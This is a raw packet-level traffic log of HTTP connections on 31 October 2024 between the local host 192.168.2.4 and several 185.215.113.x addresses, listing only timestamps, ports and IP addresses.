Oct 31, 2024 23:38:24.368752956 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368762016 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368768930 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368778944 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368788004 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368804932 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368823051 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.368978024 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.368993998 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369009018 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369024038 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369039059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369049072 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369057894 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369077921 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369095087 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369128942 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369152069 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369165897 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369182110 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369184971 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369199038 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369208097 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369215965 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369232893 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369252920 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369261026 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369283915 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369299889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.369322062 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369340897 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.369987011 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370002031 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370017052 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370039940 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370054960 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370089054 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370105982 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370121002 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370124102 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370138884 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370147943 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370163918 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370177031 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370184898 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370198965 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370213985 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370229959 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370248079 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370250940 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370265007 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370275974 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370280981 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370301962 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370326996 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370332956 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370342970 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370362043 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370366096 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370373964 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370382071 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370397091 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370398045 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370425940 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370430946 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370443106 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370457888 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370464087 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370474100 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370490074 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370493889 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370506048 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370517969 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370522976 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.370537996 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.370560884 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371076107 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371090889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371121883 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371135950 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371154070 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371165991 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371170044 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371187925 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371196985 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371202946 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371215105 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371220112 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371244907 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371246099 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371262074 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371273041 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371277094 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371294022 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371301889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371308088 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371323109 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371325970 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371341944 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371360064 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371361971 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371376991 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371385098 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371392012 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371407986 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371411085 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371417999 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371423960 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371438980 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371449947 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371454000 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371470928 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371474028 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371484995 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371494055 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371510029 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371520996 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371526003 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371541977 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371542931 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371561050 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371567965 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371575117 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371577978 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371592999 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371598959 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371609926 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371625900 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371635914 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371643066 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.371656895 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.371681929 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.426671028 CET	80	49897	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:24.426733017 CET	49897	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:24.428097010 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:24.428394079 CET	49903	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:24.433355093 CET	80	49903	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:24.433417082 CET	49903	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:24.433588028 CET	49903	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:24.433926105 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:24.433974028 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:24.438496113 CET	80	49903	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:24.794671059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794692039 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794711113 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794725895 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794739962 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794755936 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794770002 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794784069 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794792891 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794809103 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794821978 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794826031 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794831991 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794842958 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794857979 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794872999 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794888020 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794888020 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794903994 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794913054 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794920921 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794930935 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794944048 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794960976 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.794960976 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794976950 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794992924 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.794994116 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795008898 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795021057 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795027971 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795047045 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795059919 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795068026 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795075893 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795078039 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795089960 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795105934 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795121908 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795142889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795154095 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795159101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795172930 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795183897 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795192003 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795203924 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795228958 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795247078 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795434952 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795449972 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795464039 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795479059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795494080 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795509100 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795525074 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795531034 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795541048 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795556068 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795557976 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795568943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795586109 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795589924 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795608044 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795614958 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795623064 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795638084 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795640945 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795653105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795667887 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795672894 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795692921 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795696020 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795708895 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795721054 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795725107 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795741081 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795752048 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795758009 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795773029 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795784950 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795794010 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795794964 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795809984 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795824051 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795825958 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795861006 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795869112 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795876026 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795891047 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795891047 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795907974 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795932055 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795943975 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795947075 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795964003 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795969009 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.795979023 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795994043 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.795994997 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796010017 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796025038 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796027899 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796041012 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796046972 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796057940 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796073914 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796082020 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796087980 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796098948 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796114922 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796128035 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796128035 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796144009 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796153069 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796159029 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796175003 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796179056 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796190023 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796196938 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796206951 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796221018 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796221972 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796236038 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796251059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796257973 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796266079 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796281099 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796284914 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796297073 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796304941 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796313047 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796329021 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796334982 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796344042 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796361923 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796370029 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796377897 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796394110 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796401978 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796411991 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796420097 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796430111 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796443939 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796444893 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796459913 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796472073 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796475887 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796494007 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796504021 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796511889 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796524048 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796528101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796542883 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796552896 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796557903 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796574116 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796580076 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796597958 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796612978 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796627045 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796642065 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796654940 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796655893 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796667099 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796673059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796689987 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796700001 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796705961 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796744108 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796744108 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796760082 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796762943 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796776056 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796791077 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796792030 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796808958 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796817064 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796823025 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796839952 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796849966 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796854019 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796864033 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796869993 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796891928 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796895027 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796912909 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796919107 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796928883 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796945095 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796945095 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796957970 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796961069 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796976089 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.796978951 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796994925 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.796998024 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797009945 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797020912 CET	49876	80	192.168.2.4	185.215.113.206
